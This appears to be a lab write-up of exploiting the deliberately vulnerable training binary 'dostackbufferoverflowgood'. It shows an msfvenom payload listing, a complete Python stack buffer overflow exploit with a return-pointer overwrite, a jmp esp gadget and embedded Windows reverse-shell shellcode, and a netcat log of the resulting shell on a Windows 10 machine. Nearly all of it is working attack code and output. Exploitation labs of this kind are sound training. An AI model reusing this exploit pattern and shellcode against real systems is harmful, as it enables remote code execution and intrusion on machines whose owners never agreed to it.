MSFVENOM SELECT PAYLOAD --

0:04:41 cdowns@7242-alpha-reticuli 051820191 master msfvenom --list payloads | ag windows | ag shell_reverse_tcp
    cmd/windows/powershell_reverse_tcp                  Interacts with a powershell session on an established socket
connection
    windows/powershell_reverse_tcp                      Listen for a connection and spawn an interactive powershell
session
    windows/shell_reverse_tcp                           Connect back to attacker and spawn a command shell
    windows/x64/powershell_reverse_tcp                  Listen for a connection and spawn an interactive powershell
session
    windows/x64/shell_reverse_tcp                       Connect back to attacker and spawn a command shell (Windows
x64)
0:04:59 cdowns@7242-alpha-reticuli 051820191 master

EXPLOIT --

#!/usr/bin/env python
import socket
import struct

# target --
RHOST = "192.168.0.139"
RPORT = 31337

# create socket --
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

# total buf(len)
# offset from mona! / msf-pattern-offeset
buf_totalen = 1024
offset_srp = 146

# prtr_jmp_esp
# from: !mona jmp -r esp -cpb "\x00\x0A"
ptr_jmp_esp = 0x080414c3

# sub esp 10 --
# metasm > sub esp,
0x10
# "\x83\xec\x10"
sub_esp_10 = "\x83\xec\x10"

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.2 LPORT=443 -b "\x00\x0A" -f python -v sc
# Payload size: 351 bytes
sc =  ""
sc += "\xba\xde\x83\xcd\x73\xd9\xce\xd9\x74\x24\xf4\x5b\x31"
sc += "\xc9\xb1\x52\x83\xc3\x04\x31\x53\x0e\x03\x8d\x8d\x2f"
sc += "\x86\xcd\x7a\x2d\x69\x2d\x7b\x52\xe3\xc8\x4a\x52\x97"
sc += "\x99\xfd\x62\xd3\xcf\xf1\x09\xb1\xfb\x82\x7c\x1e\x0c"
sc += "\x22\xca\x78\x23\xb3\x67\xb8\x22\x37\x7a\xed\x84\x06"
sc += "\xb5\xe0\xc5\x4f\xa8\x09\x97\x18\xa6\xbc\x07\x2c\xf2"
sc += "\x7c\xac\x7e\x12\x05\x51\x36\x15\x24\xc4\x4c\x4c\xe6"
sc += "\xe7\x81\xe4\xaf\xff\xc6\xc1\x66\x74\x3c\xbd\x78\x5c"
sc += "\x0c\x3e\xd6\xa1\xa0\xcd\x26\xe6\x07\x2e\x5d\x1e\x74"
sc += "\xd3\x66\xe5\x06\x0f\xe2\xfd\xa1\xc4\x54\xd9\x50\x08"
sc += "\x02\xaa\x5f\xe5\x40\xf4\x43\xf8\x85\x8f\x78\x71\x28"
sc += "\x5f\x09\xc1\x0f\x7b\x51\x91\x2e\xda\x3f\x74\x4e\x3c"
sc += "\xe0\x29\xea\x37\x0d\x3d\x87\x1a\x5a\xf2\xaa\xa4\x9a"
sc += "\x9c\xbd\xd7\xa8\x03\x16\x7f\x81\xcc\xb0\x78\xe6\xe6"
sc += "\x05\x16\x19\x09\x76\x3f\xde\x5d\x26\x57\xf7\xdd\xad"
sc += "\xa7\xf8\x0b\x61\xf7\x56\xe4\xc2\xa7\x16\x54\xab\xad"
sc += "\x98\x8b\xcb\xce\x72\xa4\x66\x35\x15\x0b\xde\x35\xe7"
sc += "\xe3\x1d\x35\xe6\x48\xa8\xd3\x82\xbe\xfd\x4c\x3b\x26"
sc += "\xa4\x06\xda\xa7\x72\x63\xdc\x2c\x71\x94\x93\xc4\xfc"
sc += "\x86\x44\x25\x4b\xf4\xc3\x3a\x61\x90\x88\xa9\xee\x60"
sc += "\xc6\xd1\xb8\x37\x8f\x24\xb1\xdd\x3d\x1e\x6b\xc3\xbf"
```

```
sc += "\xc6\x54\x47\x64\x3b\x5a\x46\xe9\x07\x78\x58\x37\x87"
sc += "\xc4\x0c\xe7\xde\x92\xfa\x41\x89\x54\x54\x18\x66\x3f"
sc += "\x30\xdd\x44\x80\x46\xe2\x80\x76\xa6\x53\x7d\xcf\xd9"
sc += "\x5c\xe9\xc7\xa2\x80\x89\x28\x79\x01\xb9\x62\x23\x20"
sc += "\x52\x2b\xb6\x70\x3f\xcc\x6d\xb6\x46\x4f\x87\x47\xbd"
sc += "\x4f\xe2\x42\xf9\xd7\x1f\x3f\x92\xbd\x1f\xec\x93\x97"

# assemble payload --
buf = ""
buf += "A"*(offset_srp - len(buf)) # padding
buf += struct.pack("<I", ptr_jmp_esp)    # SRP overwrite
buf += sub_esp_10 # ESP points here
buf += sc # payload
buf += "D"*(buf_totalen - len(buf))      #trailing padding
buf += "\n"

# send the buffer --
s.send(buf)
```

netcat shell --

```
0:03:22 cdowns@7242-alpha-reticuli exploit master sudo nc -4 -lnvp 443
Listening on [0.0.0.0] (family 2, port 443)
Connection from 192.168.0.139 50700 received!
Microsoft Windows [Version 10.0.17134.706]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\IEUser\Downloads\dostackbufferoverflowgood>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

C:\Users\IEUser\Downloads\dostackbufferoverflowgood>
```